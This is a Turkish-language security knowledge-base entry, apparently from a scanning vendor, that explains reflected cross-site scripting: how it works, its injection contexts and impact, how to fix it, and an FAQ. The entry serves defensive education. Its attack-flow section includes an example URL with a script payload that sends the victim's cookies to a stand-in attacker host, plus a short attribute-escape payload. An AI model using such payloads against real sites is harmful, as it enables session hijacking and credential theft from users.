SSL Sertifika Analizi Açık Port Tespiti Web Uygulama Tarama DNS Güvenlik Denetimi HTTP Başlık Analizi Yanlış Yapılandırma Tespiti Yazılım Parmak İzi Alt Alan Adı Tarama
SSL Sertifika Analizi Açık Port Tespiti Web Uygulama Tarama DNS Güvenlik Denetimi HTTP Başlık Analizi Yanlış Yapılandırma Tespiti Yazılım Parmak İzi Alt Alan Adı Tarama

Tüm Kayıtlar

Kategori Enjeksiyon / İstemci Tarafı
Tipik Önem Derecesi Yüksek
OWASP A03:2021 – Enjeksiyon
CWE CWE-79 – Web Sayfası Oluşturma Sırasında Girdinin Hatalı Nötrleştirilmesi
Diğer adları Kalıcı Olmayan XSS, Tip-1 XSS, Yansıtılmış Betik Enjeksiyonu
Etkilenen sistemler Kullanıcı girdisini HTML yanıtlarında yansıtan web uygulamaları (arama kutuları, hata sayfaları, URL parametreleri, form alanları)
Sömürü ön koşulları Kurbanın sosyal mühendislik ile hazırlanmış bir URL'ye tıklaması gerekir; sunucu tarafında kalıcı veri depolamaya ihtiyaç yoktur

Genel Bakış

Yansıtılmış Cross-Site Scripting (XSS), saldırganın kötü amaçlı betik kodunu bir HTTP isteğinin parçası olarak — genellikle URL sorgu parametresi, yol segmenti veya POST alanı aracılığıyla — sunucuya gönderdiği ve sunucunun bu girdiyi herhangi bir kodlama yapmadan doğrudan HTTP yanıtına dahil ettiği bir enjeksiyon açığı sınıfıdır. Kurbanın tarayıcısı yanıtı ayrıştırdığında, enjekte edilen betiği hedef kaynağın güvenlik bağlamında çalıştırır.

Depolanan XSS'nin aksine, yansıtılmış yükler sunucuda kalıcı olarak saklanmaz. Saldırı geçici olarak gerçekleşir; genellikle e-posta, sosyal medya veya bir yönlendirici aracılığıyla paylaşılan kötü amaçlı bir köprü bağlantısı ile iletilir. Bu "kalıcı olmayan" nitelik, her kurbanın hazırlanmış URL'yi ayrı ayrı yüklemesi gerektiği anlamına gelir.

Nasıl çalışır?

Saldırı yaşam döngüsü dört aşamadan oluşur:

  1. Yük oluşturma: Saldırgan, parametrelerinde betik yükü içeren bir URL oluşturur; örneğin: https://example.com/search?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>
  2. İletim: Kurban bağlantıya tıklamaya ikna edilir (kimlik avı e-postası, kısaltılmış URL, açık yönlendirme vb.).
  3. Sunucu yansıması: Uygulama q parametresini okuyarak — örneğin "Aranan: …" paragrafı içinde — özel karakterleri HTML olarak kodlamadan doğrudan HTML yanıtına yazar.
  4. Tarayıcı yürütmesi: Tarayıcı yanıtı ayrıştırır, enjekte edilen <script> etiketini (ya da olay yöneticisini, javascript: URI'sini veya başka bir enjeksiyon bağlamını) bulur ve uygulamanın kaynağı altında çalıştırır.

Yaygın olarak istismar edilen enjeksiyon bağlamları şunlardır:

  • HTML gövde bağlamı — Etiketler arasında kodlanmamış çıktı, ham etiket enjeksiyonuna izin verir.
  • HTML öznitelik bağlamı — Tırnak işareti kullanılmadan etiket özniteliklerine eklenen değerler, öznitelik kaçışını mümkün kılar (örn. " onmouseover="alert(1)).
  • JavaScript bağlamı — Bir <script> bloğu veya satır içi olay yöneticisine JS dizesi kaçışı yapılmadan yazılan veriler, mantık enjeksiyonuna olanak tanır.
  • URL bağlamı — Saldırgan tarafından kontrol edilen href veya src değerleri javascript: URI'lerini kabul edebilir.
  • CSS bağlamı — Stil özniteliklerinde yansıtılan değerler, eski tarayıcılarda expression() açığını veya veri sızıntısını tetikleyebilir.

Modern tarayıcılar, yerleşik XSS filtreleri yerine Content Security Policy'ye (CSP) güvenir. Karakter kodlama hileleri, HTML ayrıştırıcı tuhaflıkları veya DOM sink'leri kullanılarak gerçekleştirilen atlatmalar sürekli araştırma konusu olmaya devam etmektedir.

İş etkisi

Başarılı bir yansıtılmış XSS saldırısı, kurbanın tarayıcısında savunmasız uygulamanın kaynağı altında rastgele JavaScript çalıştırır. Somut sonuçlar şunlardır:

  • Oturum ele geçirme: HttpOnly bayrağı bulunmayan oturum çerezlerinin çalınması, kimlik bilgilerine gerek kalmadan hesabın tamamen ele geçirilmesine yol açar.
  • Kimlik bilgisi toplama: Enjekte edilen betikler sayfa DOM'unu yeniden yazarak sahte giriş formları sunabilir ve kullanıcı adı ile parolaları ele geçirebilir.
  • Kötü amaçlı yazılım dağıtımı: Betik, kullanıcıları sessizce exploit kitine yönlendirebilir veya drive-by indirme işlemlerini tetikleyebilir.
  • Veri sızdırma: DOM'da görünür olan hassas sayfa içeriği, CSRF belirteçleri veya API anahtarları saldırganın kontrolündeki altyapıya gönderilebilir.
  • Sayfa tahrifi ve itibar kaybı: Sayfa içeriğinin görünür biçimde manipüle edilmesi, kullanıcıların markaya olan güvenini zedeleyebilir.
  • Uyumluluk riski: Kişisel verileri etkileyen istismarlar, GDPR, HIPAA veya PCI-DSS kapsamında ihlal bildirimi yükümlülüklerini doğurabilir.

Saldırı, kalıcı sunucu ele geçirme yerine kullanıcı etkileşimi gerektirdiğinden sıklıkla hafife alınır. Ancak büyük ölçekli kimlik avı kampanyaları, tek bir yansıtılmış XSS uç noktasını binlerce kullanıcıyı etkileyecek biçimde silahlandırabilir.

Nasıl düzeltilir?

  1. Bağlama duyarlı çıktı kodlaması (birincil kontrol): HTML yanıtına eklemeden önce tüm güvenilmeyen verileri kodlayın. Her enjeksiyon bağlamı için uygun kodlama işlevini kullanın:
    • HTML gövdesi: HTML varlık kodlaması (&amp;, &lt;, &gt;, &quot;, &#x27;).
    • HTML özniteliği: Öznitelik kodlaması uygulayın ve öznitelik değerlerini her zaman tırnak içine alın.
    • JavaScript: JavaScript kodlaması (Unicode kaçış dizileri) kullanın veya güvenli bir JSON serileştiricisi tercih edin.
    • URL parametreleri: Katı izin listesiyle yüzde kodlama uygulayın.
  2. Otomatik kaçış yapan kanıtlanmış şablon motoru kullanın: Django şablonları, Jinja2 (otomatik kaçış açık), Razor, Thymeleaf ve Angular şablon motoru gibi çerçeveler varsayılan olarak kaçış yapar. Kesinlikle zorunlu olmadıkça otomatik kaçışı devre dışı bırakmaktan (|safe, dangerouslySetInnerHTML, bypassSecurityTrustHtml) kaçının.
  3. Katı bir Content Security Policy (CSP) uygulayın: Satır içi betiklere ('unsafe-inline') izin vermeyen ve betik kaynaklarını bilinen, güvenilir kaynaklara kısıtlayan bir CSP başlığı (Content-Security-Policy) dağıtın. Nonce veya hash tabanlı bir CSP, kodlama eksik olduğunda dahi derinlemesine savunma sağlar.
  4. Hatalı biçimlendirilmiş girdileri doğrulayın ve reddedin: Beklenen karakter veya format izin listesi kullanarak sunucu tarafında girdi doğrulaması uygulayın. İş mantığının izin verdiği durumlarda, kurallara uymayan girdileri temizlemek yerine reddedin.
  5. Güvenlik açısından hassas çerez özniteliklerini ayarlayın: Oturum çerezlerini HttpOnly (JS erişimini engeller) ve Secure (yalnızca TLS üzerinden iletim) olarak işaretleyin. Siteler arası istek riskini azaltmak için SameSite=Strict veya SameSite=Lax kullanın.
  6. X-XSS-Protection başlığını etkinleştirin (yalnızca eski tarayıcılar için): Kullanımdan kaldırılmış olmasına rağmen X-XSS-Protection: 1; mode=block ayarı, eski Internet Explorer ve Chrome sürümlerinde temel XSS filtrelemeyi etkinleştirir. Bu, kodlamanın yerini tutmaz.
  7. Zengin HTML'yi güvenilir bir kütüphane ile temizleyin: Uygulamanın HTML kabul edip oluşturması gerekiyorsa (örn. WYSIWYG düzenleyici), özel regex filtrelemesi yerine DOMPurify gibi iyi desteklenen ve izin listesi tabanlı bir HTML temizleme kütüphanesi kullanın.
  8. Düzenli güvenlik testleri yapın: Otomatik CI/CD hatlarına XSS test senaryoları ekleyin, tüm girdi/çıktı yollarında manuel sızma testleri gerçekleştirin ve üretim uç noktalarındaki yansıtılmış XSS açıklarını sürekli taramak için Sensagraph'ı kullanın.

Kaynaklar

Sıkça sorulan sorular

Yansıtılmış XSS'de kötü amaçlı yük HTTP isteğinin bir parçasıdır ve sunucunun yanıtında hemen geri döndürülür — sunucuda hiçbir zaman saklanmaz. Her kurbanın hazırlanmış URL'yi ayrı ayrı yüklemesi gerekir. Depolanan (kalıcı) XSS'de ise yük sunucuya kaydedilir (örn. bir veritabanına) ve etkilenen sayfayı yükleyen tüm sonraki ziyaretçilere herhangi bir ek saldırgan müdahalesi olmaksızın sunulur.

Hayır. HTTPS taşıma kanalını şifreler ve ağ düzeyindeki müdahaleyi engeller, ancak sunucunun girdiyi nasıl işlediğini veya yansıttığını etkilemez. HTTPS üzerinden sunulan bir sayfa, yanıtta kodlanmamış kullanıcı girdisi yansıtıldığında yine de yansıtılmış XSS açığına sahip olabilir.

WAF'lar, bilinen XSS kalıplarını engelleyerek yararlı bir derinlemesine savunma katmanı sağlar; ancak tam bir çözüm değildir. Saldırganlar, kodlama hileleri, alışılmadık HTML ayrıştırıcı davranışları veya yeni enjeksiyon vektörleri aracılığıyla WAF kurallarını sık sık atlatır. Uygulama katmanında uygun çıktı kodlaması ve katı bir Content Security Policy birincil kontroller olmaya devam eder.

Çerez engelleme politikaları öncelikle üçüncü taraf izleme çerezlerini etkiler. Birinci taraf uygulama tarafından ayarlanan oturum çerezleri, o kaynakta çalışan betikler için hâlâ erişilebilir durumdadır. Yansıtılmış XSS, üçüncü taraf çerez kısıtlamalarından bağımsız olarak oturum çerezlerini çalabilir, DOM'u manipüle edebilir, kimlik bilgilerini toplayabilir veya kurban adına işlem gerçekleştirebilir.

CSP nonce, Content-Security-Policy başlığına ve her meşru script etiketinin nonce özniteliğine yerleştirilen, istek başına rastgele oluşturulan bir kriptografik değerdir. Tarayıcı yalnızca eşleşen nonce'u taşıyan script etiketlerini çalıştırır. Saldırgan nonce'u önceden bilemediğinden, kodlama atlanmış olsa bile enjekte edilen script etiketleri engellenir ve bu da anlamlı bir derinlemesine savunma sağlar.